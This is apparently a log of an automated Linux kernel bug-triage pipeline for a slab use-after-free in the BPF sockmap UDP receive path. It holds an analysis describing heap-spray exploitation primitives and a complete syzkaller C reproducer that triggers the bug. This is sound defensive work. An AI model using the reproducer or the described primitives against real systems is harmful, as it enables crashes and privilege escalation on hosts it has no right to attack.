| 0/0 |
2026/05/20 08:39 |
flow |
assessment-security |
39m
Results: map[DenialOfService:true Explanation:**Bug Analysis:**
The bug is a highly exploitable slab-use-after-free in `__sk_msg_recvmsg` within
the BPF socket map subsystem (`net/core/skmsg.c`).
**Root Cause:**
The vulnerability stems from a race condition when multiple threads concurrently
call `recvmsg` (or `recvmmsg`) on a UDP socket that has been added to a BPF
`SOCKMAP` or `SOCKHASH`.
When a UDP socket is inserted into a `SOCKMAP`, its protocol operations
(`sk_prot`) are replaced with `udp_bpf_prots`, routing `recvmsg` calls to
`udp_bpf_recvmsg`. Unlike its TCP counterpart (`tcp_bpf_recvmsg`),
`udp_bpf_recvmsg` fails to acquire the socket lock (`lock_sock(sk)`) before
calling into `sk_msg_recvmsg` -> `__sk_msg_recvmsg`.
In `__sk_msg_recvmsg`, the code peeks at the first message in the socket's
ingress queue (`psock->ingress_msg`). It briefly takes `psock->ingress_lock` to
get the message pointer but drops the lock immediately before processing the
message. If two threads enter this function concurrently, they can both peek at
the exact same `sk_msg` object. One thread can finish copying the data, dequeue
the message, and free it via `kfree_sk_msg()`, while the second thread is still
actively reading from or modifying the freed `sk_msg` structure, resulting in a
Use-After-Free.
**Exploitability:**
This UAF is highly exploitable for local privilege escalation. The `sk_msg`
object is allocated from the `kmalloc-1k` slab cache, which an attacker can
easily spray and reallocate with controlled data. By controlling the
`msg_rx->sg` (scatterlist) fields within the reallocated object, an attacker
can:
1. **Arbitrary Memory Read:** Point the scatterlist to arbitrary physical pages.
The kernel will then use `copy_page_to_iter()` to copy the contents of those
pages directly into the attacker's user-space buffer.
2. **Arbitrary Page Free:** Control the `page` pointer that is eventually passed
to `put_page()` when the message is consumed. This allows the attacker to
decrement the reference count of arbitrary physical pages, leading to a
page-level Use-After-Free, a well-known and powerful primitive for achieving
arbitrary code execution.
**Access and Privileges:**
Despite its severity, the bug is strictly gated by high privileges. To reach the
vulnerable `udp_bpf_recvmsg` path, an attacker must:
1. Create a `BPF_MAP_TYPE_SOCKMAP` or `BPF_MAP_TYPE_SOCKHASH`.
2. Load a BPF verdict program (e.g., `BPF_PROG_TYPE_SK_SKB`) and attach it to
the map to route packets into the `psock->ingress_msg` queue.
3. Insert a UDP socket into the map.
Creating `SOCKMAP`/`SOCKHASH` maps and attaching these BPF programs requires
`CAP_NET_ADMIN` and `CAP_BPF` in the **initial user namespace**. Unprivileged
users cannot create these maps, even if they create a new user namespace (as BPF
token delegation, which could theoretically bypass this, requires
`CAP_SYS_ADMIN` in the initial namespace to mount the BPF filesystem with
delegation options).
Therefore, the bug is not accessible to unprivileged users or from within
unprivileged containers. It acts as a local privilege escalation or
denial-of-service vector only for users who already possess `CAP_NET_ADMIN`
privileges. Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/05/20 08:39 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// socket$inet_udp arguments: [
// domain: const = 0x2 (8 bytes)
// type: const = 0x2 (8 bytes)
// proto: const = 0x0 (4 bytes)
// ]
// returns sock_udp
res = syscall(__NR_socket, /*domain=*/2ul, /*type=*/2ul, /*proto=*/0);
if (res != -1)
r[0] = res;
// bpf$MAP_CREATE arguments: [
// cmd: const = 0x0 (8 bytes)
// arg: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYBLOB: buffer: {0f 00 00 00 04 00 00 00 04 00 00 00 12} (length 0xd)
// }
// }
// }
// size: len = 0x50 (8 bytes)
// ]
// returns fd_bpf_map
memcpy((void*)0x200000000700, "\x0f\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x12", 13);
res = syscall(__NR_bpf, /*cmd=*/0ul, /*arg=*/0x200000000700ul, /*size=*/0x50ul);
if (res != -1)
r[1] = res;
// bpf$PROG_LOAD_XDP arguments: [
// cmd: const = 0x5 (8 bytes)
// arg: ptr[in, bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]] {
// bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]] {
// type: const = 0xe (4 bytes)
// ninsn: bytesize8 = 0x5 (4 bytes)
// insns: ptr[in, bpf_instructions] {
// union bpf_instructions {
// framed: bpf_framed_program {
// initr0: bpf_insn_init_r0 {
// code: const = 0x18 (1 bytes)
// dst: const = 0x2 (0 bytes)
// src: const = 0x0 (1 bytes)
// off: const = 0x0 (2 bytes)
// imm: int32 = 0x0 (4 bytes)
// code2: const = 0x0 (1 bytes)
// regs2: const = 0x0 (1 bytes)
// off2: const = 0x0 (2 bytes)
// imm2: int32 = 0x0 (4 bytes)
// }
// body: array[bpf_insn] {
// union bpf_insn {
// initr0: bpf_insn_init_r0 {
// code: const = 0x18 (1 bytes)
// dst: const = 0x0 (0 bytes)
// src: const = 0x0 (1 bytes)
// off: const = 0x0 (2 bytes)
// imm: int32 = 0x1 (4 bytes)
// code2: const = 0x0 (1 bytes)
// regs2: const = 0x0 (1 bytes)
// off2: const = 0x0 (2 bytes)
// imm2: int32 = 0xa (4 bytes)
// }
// }
// }
// exit: bpf_insn_exit {
// code: const = 0x95 (1 bytes)
// regs: const = 0x0 (1 bytes)
// off: const = 0x0 (2 bytes)
// imm: const = 0x0 (4 bytes)
// }
// }
// }
// }
// license: ptr[in, buffer] {
// buffer: {73 79 7a 6b 61 6c 6c 65 72 00} (length 0xa)
// }
// loglev: int32 = 0x0 (4 bytes)
// logsize: len = 0x0 (4 bytes)
// log: nil
// kern_version: bpf_kern_version = 0x0 (4 bytes)
// flags: bpf_prog_load_flags = 0x0 (4 bytes)
// prog_name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// prog_ifindex: ifindex (resource)
// expected_attach_type: const = 0x25 (4 bytes)
// btf_fd: fd_btf (resource)
// func_info_rec_size: const = 0x8 (4 bytes)
// func_info: nil
// func_info_cnt: len = 0x0 (4 bytes)
// line_info_rec_size: const = 0x10 (4 bytes)
// line_info: nil
// line_info_cnt: len = 0x0 (4 bytes)
// attach_btf_id: const = 0x0 (4 bytes)
// attach_prog_fd: const = 0x0 (4 bytes)
// core_relo_cnt: len = 0x0 (4 bytes)
// fd_array: nil
// core_relos: nil
// core_relo_rec_size: const = 0x10 (4 bytes)
// log_true_size: int32 = 0x0 (4 bytes)
// prog_token_fd: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_prog_token_fd_wrapper {
// void: buffer: {} (length 0x0)
// }
// pad: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_pad_wrapper {
// value: const = 0x0 (4 bytes)
// }
// }
// }
// size: len = 0x94 (8 bytes)
// ]
// returns fd_bpf_prog_xdp
*(uint32_t*)0x200000000340 = 0xe;
*(uint32_t*)0x200000000344 = 5;
*(uint64_t*)0x200000000348 = 0x2000000007c0;
*(uint8_t*)0x2000000007c0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x2000000007c1, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x2000000007c1, 0, 4, 4);
*(uint16_t*)0x2000000007c2 = 0;
*(uint32_t*)0x2000000007c4 = 0;
*(uint8_t*)0x2000000007c8 = 0;
*(uint8_t*)0x2000000007c9 = 0;
*(uint16_t*)0x2000000007ca = 0;
*(uint32_t*)0x2000000007cc = 0;
*(uint8_t*)0x2000000007d0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x2000000007d1, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x2000000007d1, 0, 4, 4);
*(uint16_t*)0x2000000007d2 = 0;
*(uint32_t*)0x2000000007d4 = 1;
*(uint8_t*)0x2000000007d8 = 0;
*(uint8_t*)0x2000000007d9 = 0;
*(uint16_t*)0x2000000007da = 0;
*(uint32_t*)0x2000000007dc = 0xa;
*(uint8_t*)0x2000000007e0 = 0x95;
*(uint8_t*)0x2000000007e1 = 0;
*(uint16_t*)0x2000000007e2 = 0;
*(uint32_t*)0x2000000007e4 = 0;
*(uint64_t*)0x200000000350 = 0x2000000005c0;
memcpy((void*)0x2000000005c0, "syzkaller\000", 10);
*(uint32_t*)0x200000000358 = 0;
*(uint32_t*)0x20000000035c = 0;
*(uint64_t*)0x200000000360 = 0;
*(uint32_t*)0x200000000368 = 0;
*(uint32_t*)0x20000000036c = 0;
memset((void*)0x200000000370, 0, 16);
*(uint32_t*)0x200000000380 = 0;
*(uint32_t*)0x200000000384 = 0x25;
*(uint32_t*)0x200000000388 = -1;
*(uint32_t*)0x20000000038c = 8;
*(uint64_t*)0x200000000390 = 0;
*(uint32_t*)0x200000000398 = 0;
*(uint32_t*)0x20000000039c = 0x10;
*(uint64_t*)0x2000000003a0 = 0;
*(uint32_t*)0x2000000003a8 = 0;
*(uint32_t*)0x2000000003ac = 0;
*(uint32_t*)0x2000000003b0 = 0;
*(uint32_t*)0x2000000003b4 = 0;
*(uint64_t*)0x2000000003b8 = 0;
*(uint64_t*)0x2000000003c0 = 0;
*(uint32_t*)0x2000000003c8 = 0x10;
*(uint32_t*)0x2000000003cc = 0;
*(uint32_t*)0x2000000003d0 = 0;
res = syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000000340ul, /*size=*/0x94ul);
if (res != -1)
r[2] = res;
// bpf$BPF_PROG_DETACH arguments: [
// cmd: const = 0x8 (8 bytes)
// arg: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYRES32: ANYRES32 (resource)
// }
// union ANYUNION {
// ANYRES32: ANYRES32 (resource)
// }
// union ANYUNION {
// ANYBLOB: buffer: {05} (length 0x1)
// }
// }
// }
// size: len = 0x10 (8 bytes)
// ]
*(uint32_t*)0x200000000280 = r[1];
*(uint32_t*)0x200000000284 = r[2];
memset((void*)0x200000000288, 5, 1);
syscall(__NR_bpf, /*cmd=*/8ul, /*arg=*/0x200000000280ul, /*size=*/0x10ul);
// bpf$MAP_UPDATE_ELEM arguments: [
// cmd: const = 0x2 (8 bytes)
// arg: ptr[in, bpf_map_update_arg] {
// bpf_map_update_arg {
// map: fd_bpf_map (resource)
// pad = 0x0 (4 bytes)
// key: ptr[in, buffer] {
// buffer: {} (length 0x0)
// }
// val: ptr[in, bpf_map_update_val] {
// union bpf_map_update_val {
// udp: sock_udp (resource)
// }
// }
// flags: bpf_map_flags = 0x0 (8 bytes)
// }
// }
// size: len = 0x20 (8 bytes)
// ]
*(uint32_t*)0x200000000440 = r[1];
*(uint64_t*)0x200000000448 = 0x200000000440;
*(uint64_t*)0x200000000450 = 0x200000000040;
*(uint32_t*)0x200000000040 = r[0];
*(uint64_t*)0x200000000458 = 0;
syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x200000000440ul, /*size=*/0x20ul);
// bind$inet arguments: [
// fd: sock_in (resource)
// addr: ptr[in, sockaddr_in] {
// sockaddr_in {
// family: const = 0x2 (2 bytes)
// port: int16be = 0x4e20 (2 bytes)
// addr: union ipv4_addr {
// empty: const = 0x0 (4 bytes)
// }
// pad = 0x0 (8 bytes)
// }
// }
// addrlen: len = 0x21 (8 bytes)
// ]
*(uint16_t*)0x200000000040 = 2;
*(uint16_t*)0x200000000042 = htobe16(0x4e20);
*(uint32_t*)0x200000000044 = htobe32(0);
syscall(__NR_bind, /*fd=*/r[0], /*addr=*/0x200000000040ul, /*addrlen=*/0x21ul);
// bpf$PROG_LOAD_XDP arguments: [
// cmd: const = 0x5 (8 bytes)
// arg: ptr[in, bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]] {
// bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]] {
// type: const = 0x6 (4 bytes)
// ninsn: bytesize8 = 0x3 (4 bytes)
// insns: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYBLOB: buffer: {18 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 95} (length 0x11)
// }
// }
// }
// license: nil
// loglev: int32 = 0x2003 (4 bytes)
// logsize: len = 0x0 (4 bytes)
// log: nil
// kern_version: bpf_kern_version = 0x0 (4 bytes)
// flags: bpf_prog_load_flags = 0x0 (4 bytes)
// prog_name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// prog_ifindex: ifindex (resource)
// expected_attach_type: const = 0x25 (4 bytes)
// btf_fd: fd_btf (resource)
// func_info_rec_size: const = 0x8 (4 bytes)
// func_info: nil
// func_info_cnt: len = 0x0 (4 bytes)
// line_info_rec_size: const = 0x10 (4 bytes)
// line_info: nil
// line_info_cnt: len = 0x0 (4 bytes)
// attach_btf_id: const = 0x0 (4 bytes)
// attach_prog_fd: const = 0x0 (4 bytes)
// core_relo_cnt: len = 0x0 (4 bytes)
// fd_array: nil
// core_relos: nil
// core_relo_rec_size: const = 0x10 (4 bytes)
// log_true_size: int32 = 0x0 (4 bytes)
// prog_token_fd: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_prog_token_fd_wrapper {
// void: buffer: {} (length 0x0)
// }
// pad: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_pad_wrapper {
// value: const = 0x0 (4 bytes)
// }
// }
// }
// size: len = 0x94 (8 bytes)
// ]
// returns fd_bpf_prog_xdp
*(uint32_t*)0x200000000140 = 6;
*(uint32_t*)0x200000000144 = 3;
*(uint64_t*)0x200000000148 = 0x200000000680;
memcpy((void*)0x200000000680, "\x18\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x95", 17);
*(uint64_t*)0x200000000150 = 0;
*(uint32_t*)0x200000000158 = 0x2003;
*(uint32_t*)0x20000000015c = 0;
*(uint64_t*)0x200000000160 = 0;
*(uint32_t*)0x200000000168 = 0;
*(uint32_t*)0x20000000016c = 0;
memset((void*)0x200000000170, 0, 16);
*(uint32_t*)0x200000000180 = 0;
*(uint32_t*)0x200000000184 = 0x25;
*(uint32_t*)0x200000000188 = -1;
*(uint32_t*)0x20000000018c = 8;
*(uint64_t*)0x200000000190 = 0;
*(uint32_t*)0x200000000198 = 0;
*(uint32_t*)0x20000000019c = 0x10;
*(uint64_t*)0x2000000001a0 = 0;
*(uint32_t*)0x2000000001a8 = 0;
*(uint32_t*)0x2000000001ac = 0;
*(uint32_t*)0x2000000001b0 = 0;
*(uint32_t*)0x2000000001b4 = 0;
*(uint64_t*)0x2000000001b8 = 0;
*(uint64_t*)0x2000000001c0 = 0;
*(uint32_t*)0x2000000001c8 = 0x10;
*(uint32_t*)0x2000000001cc = 0;
*(uint32_t*)0x2000000001d0 = 0;
syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000000140ul, /*size=*/0x94ul);
// bpf$PROG_LOAD_XDP arguments: [
// cmd: const = 0x5 (8 bytes)
// arg: ptr[in, bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]] {
// bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]] {
// type: const = 0x6 (4 bytes)
// ninsn: bytesize8 = 0x3 (4 bytes)
// insns: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// }
// }
// license: ptr[in, buffer] {
// buffer: {73 79 7a 6b 61 6c 6c 65 72 00} (length 0xa)
// }
// loglev: int32 = 0x9 (4 bytes)
// logsize: len = 0x0 (4 bytes)
// log: nil
// kern_version: bpf_kern_version = 0x0 (4 bytes)
// flags: bpf_prog_load_flags = 0x0 (4 bytes)
// prog_name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// prog_ifindex: ifindex (resource)
// expected_attach_type: const = 0x25 (4 bytes)
// btf_fd: fd_btf (resource)
// func_info_rec_size: const = 0x8 (4 bytes)
// func_info: nil
// func_info_cnt: len = 0x0 (4 bytes)
// line_info_rec_size: const = 0x10 (4 bytes)
// line_info: nil
// line_info_cnt: len = 0x0 (4 bytes)
// attach_btf_id: const = 0x0 (4 bytes)
// attach_prog_fd: const = 0x0 (4 bytes)
// core_relo_cnt: len = 0x0 (4 bytes)
// fd_array: nil
// core_relos: nil
// core_relo_rec_size: const = 0x10 (4 bytes)
// log_true_size: int32 = 0x0 (4 bytes)
// prog_token_fd: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_prog_token_fd_wrapper {
// void: buffer: {} (length 0x0)
// }
// pad: union _bpf_prog_t[const[BPF_PROG_TYPE_XDP, int32], const[BPF_XDP, int32], const[0, int32], const[0, int32]]_pad_wrapper {
// value: const = 0x0 (4 bytes)
// }
// }
// }
// size: len = 0x94 (8 bytes)
// ]
// returns fd_bpf_prog_xdp
*(uint32_t*)0x200000000480 = 6;
*(uint32_t*)0x200000000484 = 3;
*(uint64_t*)0x200000000488 = 0x200000000680;
*(uint64_t*)0x200000000490 = 0x200000000200;
memcpy((void*)0x200000000200, "syzkaller\000", 10);
*(uint32_t*)0x200000000498 = 9;
*(uint32_t*)0x20000000049c = 0;
*(uint64_t*)0x2000000004a0 = 0;
*(uint32_t*)0x2000000004a8 = 0;
*(uint32_t*)0x2000000004ac = 0;
memset((void*)0x2000000004b0, 0, 16);
*(uint32_t*)0x2000000004c0 = 0;
*(uint32_t*)0x2000000004c4 = 0x25;
*(uint32_t*)0x2000000004c8 = -1;
*(uint32_t*)0x2000000004cc = 8;
*(uint64_t*)0x2000000004d0 = 0;
*(uint32_t*)0x2000000004d8 = 0;
*(uint32_t*)0x2000000004dc = 0x10;
*(uint64_t*)0x2000000004e0 = 0;
*(uint32_t*)0x2000000004e8 = 0;
*(uint32_t*)0x2000000004ec = 0;
*(uint32_t*)0x2000000004f0 = 0;
*(uint32_t*)0x2000000004f4 = 0;
*(uint64_t*)0x2000000004f8 = 0;
*(uint64_t*)0x200000000500 = 0;
*(uint32_t*)0x200000000508 = 0x10;
*(uint32_t*)0x20000000050c = 0;
*(uint32_t*)0x200000000510 = 0;
res = syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000000480ul, /*size=*/0x94ul);
if (res != -1)
r[3] = res;
// bpf$BPF_PROG_TEST_RUN arguments: [
// cmd: const = 0xa (8 bytes)
// arg: ptr[in, bpf_test_prog_arg] {
// bpf_test_prog_arg {
// prog: fd_bpf_prog (resource)
// retval: const = 0x5 (4 bytes)
// insizedata: len = 0xb68 (4 bytes)
// outsizedata: len = 0x0 (4 bytes)
// indata: ptr[in, buffer] {
// buffer: {25} (length 0x1)
// }
// outdata: nil
// repeat: int32 = 0xd01 (4 bytes)
// dur: const = 0x0 (4 bytes)
// insizectx: len = 0x0 (4 bytes)
// outsizectx: len = 0x0 (4 bytes)
// inctx: nil
// outctx: nil
// flags: bpf_prog_test_run_flags = 0x2 (4 bytes)
// cpu: const = 0x0 (4 bytes)
// batch_size: int32 = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// size: len = 0x48 (8 bytes)
// ]
*(uint32_t*)0x200000000600 = r[3];
*(uint32_t*)0x200000000604 = 5;
*(uint32_t*)0x200000000608 = 0xb68;
*(uint32_t*)0x20000000060c = 0;
*(uint64_t*)0x200000000610 = 0x200000000000;
memset((void*)0x200000000000, 37, 1);
*(uint64_t*)0x200000000618 = 0;
*(uint32_t*)0x200000000620 = 0xd01;
*(uint32_t*)0x200000000624 = 0;
*(uint32_t*)0x200000000628 = 0;
*(uint32_t*)0x20000000062c = 0;
*(uint64_t*)0x200000000630 = 0;
*(uint64_t*)0x200000000638 = 0;
*(uint32_t*)0x200000000640 = 2;
*(uint32_t*)0x200000000644 = 0;
*(uint32_t*)0x200000000648 = 0;
syscall(__NR_bpf, /*cmd=*/0xaul, /*arg=*/0x200000000600ul, /*size=*/0x48ul);
// recvmmsg arguments: [
// fd: sock (resource)
// mmsg: ptr[in, array[recv_mmsghdr]] {
// array[recv_mmsghdr] {
// recv_mmsghdr {
// msg_hdr: recv_msghdr {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: nil
// msg_iovlen: len = 0x0 (8 bytes)
// msg_control: nil
// msg_controllen: bytesize = 0x0 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// msg_len: int32 = 0xfc (4 bytes)
// pad = 0x0 (4 bytes)
// }
// recv_mmsghdr {
// msg_hdr: recv_msghdr {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: nil
// msg_iovlen: len = 0x0 (8 bytes)
// msg_control: nil
// msg_controllen: bytesize = 0x0 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// msg_len: int32 = 0x7 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// vlen: len = 0x2 (8 bytes)
// f: recv_flags = 0x10021 (8 bytes)
// timeout: nil
// ]
*(uint64_t*)0x200000003fc0 = 0;
*(uint32_t*)0x200000003fc8 = 0;
*(uint64_t*)0x200000003fd0 = 0;
*(uint64_t*)0x200000003fd8 = 0;
*(uint64_t*)0x200000003fe0 = 0;
*(uint64_t*)0x200000003fe8 = 0;
*(uint32_t*)0x200000003ff0 = 0;
*(uint32_t*)0x200000003ff8 = 0xfc;
*(uint64_t*)0x200000004000 = 0;
*(uint32_t*)0x200000004008 = 0;
*(uint64_t*)0x200000004010 = 0;
*(uint64_t*)0x200000004018 = 0;
*(uint64_t*)0x200000004020 = 0;
*(uint64_t*)0x200000004028 = 0;
*(uint32_t*)0x200000004030 = 0;
*(uint32_t*)0x200000004038 = 7;
syscall(__NR_recvmmsg, /*fd=*/r[0], /*mmsg=*/0x200000003fc0ul, /*vlen=*/2ul, /*f=MSG_WAITFORONE|MSG_TRUNC|MSG_OOB*/0x10021ul, /*timeout=*/0ul);
// recvmmsg arguments: [
// fd: sock (resource)
// mmsg: ptr[in, array[recv_mmsghdr]] {
// array[recv_mmsghdr] {
// recv_mmsghdr {
// msg_hdr: recv_msghdr {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: ptr[in, array[iovec[out, array[int8]]]] {
// array[iovec[out, array[int8]]] {
// iovec[out, array[int8]] {
// addr: ptr[out, buffer] {
// buffer: (DirOut)
// }
// len: len = 0xb6 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: ptr[out, buffer] {
// buffer: (DirOut)
// }
// len: len = 0x76 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: ptr[out, buffer] {
// buffer: (DirOut)
// }
// len: len = 0xf7 (8 bytes)
// }
// }
// }
// msg_iovlen: len = 0x3 (8 bytes)
// msg_control: ptr[out, buffer] {
// buffer: (DirOut)
// }
// msg_controllen: bytesize = 0xc3 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// msg_len: int32 = 0xfc (4 bytes)
// pad = 0x0 (4 bytes)
// }
// recv_mmsghdr {
// msg_hdr: recv_msghdr {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: ptr[in, array[iovec[out, array[int8]]]] {
// array[iovec[out, array[int8]]] {
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: ptr[out, buffer] {
// buffer: (DirOut)
// }
// len: len = 0x28 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[out, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// }
// }
// msg_iovlen: len = 0x7 (8 bytes)
// msg_control: nil
// msg_controllen: bytesize = 0x0 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// msg_len: int32 = 0x7 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// vlen: len = 0x2 (8 bytes)
// f: recv_flags = 0x10021 (8 bytes)
// timeout: nil
// ]
*(uint64_t*)0x200000003fc0 = 0;
*(uint32_t*)0x200000003fc8 = 0;
*(uint64_t*)0x200000003fd0 = 0x200000000a40;
*(uint64_t*)0x200000000a40 = 0x200000000800;
*(uint64_t*)0x200000000a48 = 0xb6;
*(uint64_t*)0x200000000a50 = 0x2000000008c0;
*(uint64_t*)0x200000000a58 = 0x76;
*(uint64_t*)0x200000000a60 = 0x200000000940;
*(uint64_t*)0x200000000a68 = 0xf7;
*(uint64_t*)0x200000003fd8 = 3;
*(uint64_t*)0x200000003fe0 = 0x200000000a80;
*(uint64_t*)0x200000003fe8 = 0xc3;
*(uint32_t*)0x200000003ff0 = 0;
*(uint32_t*)0x200000003ff8 = 0xfc;
*(uint64_t*)0x200000004000 = 0;
*(uint32_t*)0x200000004008 = 0;
*(uint64_t*)0x200000004010 = 0x200000003e80;
*(uint64_t*)0x200000003e80 = 0;
*(uint64_t*)0x200000003e88 = 0;
*(uint64_t*)0x200000003e90 = 0;
*(uint64_t*)0x200000003e98 = 0;
*(uint64_t*)0x200000003ea0 = 0x200000001d00;
*(uint64_t*)0x200000003ea8 = 0x28;
*(uint64_t*)0x200000003eb0 = 0;
*(uint64_t*)0x200000003eb8 = 0;
*(uint64_t*)0x200000003ec0 = 0;
*(uint64_t*)0x200000003ec8 = 0;
*(uint64_t*)0x200000003ed0 = 0;
*(uint64_t*)0x200000003ed8 = 0;
*(uint64_t*)0x200000003ee0 = 0;
*(uint64_t*)0x200000003ee8 = 0;
*(uint64_t*)0x200000004018 = 7;
*(uint64_t*)0x200000004020 = 0;
*(uint64_t*)0x200000004028 = 0;
*(uint32_t*)0x200000004030 = 0;
*(uint32_t*)0x200000004038 = 7;
syscall(__NR_recvmmsg, /*fd=*/r[0], /*mmsg=*/0x200000003fc0ul, /*vlen=*/2ul, /*f=MSG_WAITFORONE|MSG_TRUNC|MSG_OOB*/0x10021ul, /*timeout=*/0ul);
return 0;
}
]
|
| 2/1 |
2026/05/20 08:39 |
action |
kernel-checkouter |
1m
Results: map[KernelSrc:/app/workdir/cache/src/17b1cf7487c8b3a6b705b7f4e9d66dce2e90e41f]
|
| 3/1 |
2026/05/20 08:40 |
action |
kernel-builder |
15m
Results: map[KernelObj:/app/workdir/cache/build/65dec26c20b5c872890941a4c3530647f888e1a7]
|
| 4/1 |
2026/05/20 08:55 |
action |
codesearch-prepare |
18m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/05/20 09:13 |
agent |
expert |
4m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Instruction:
You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by greeping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
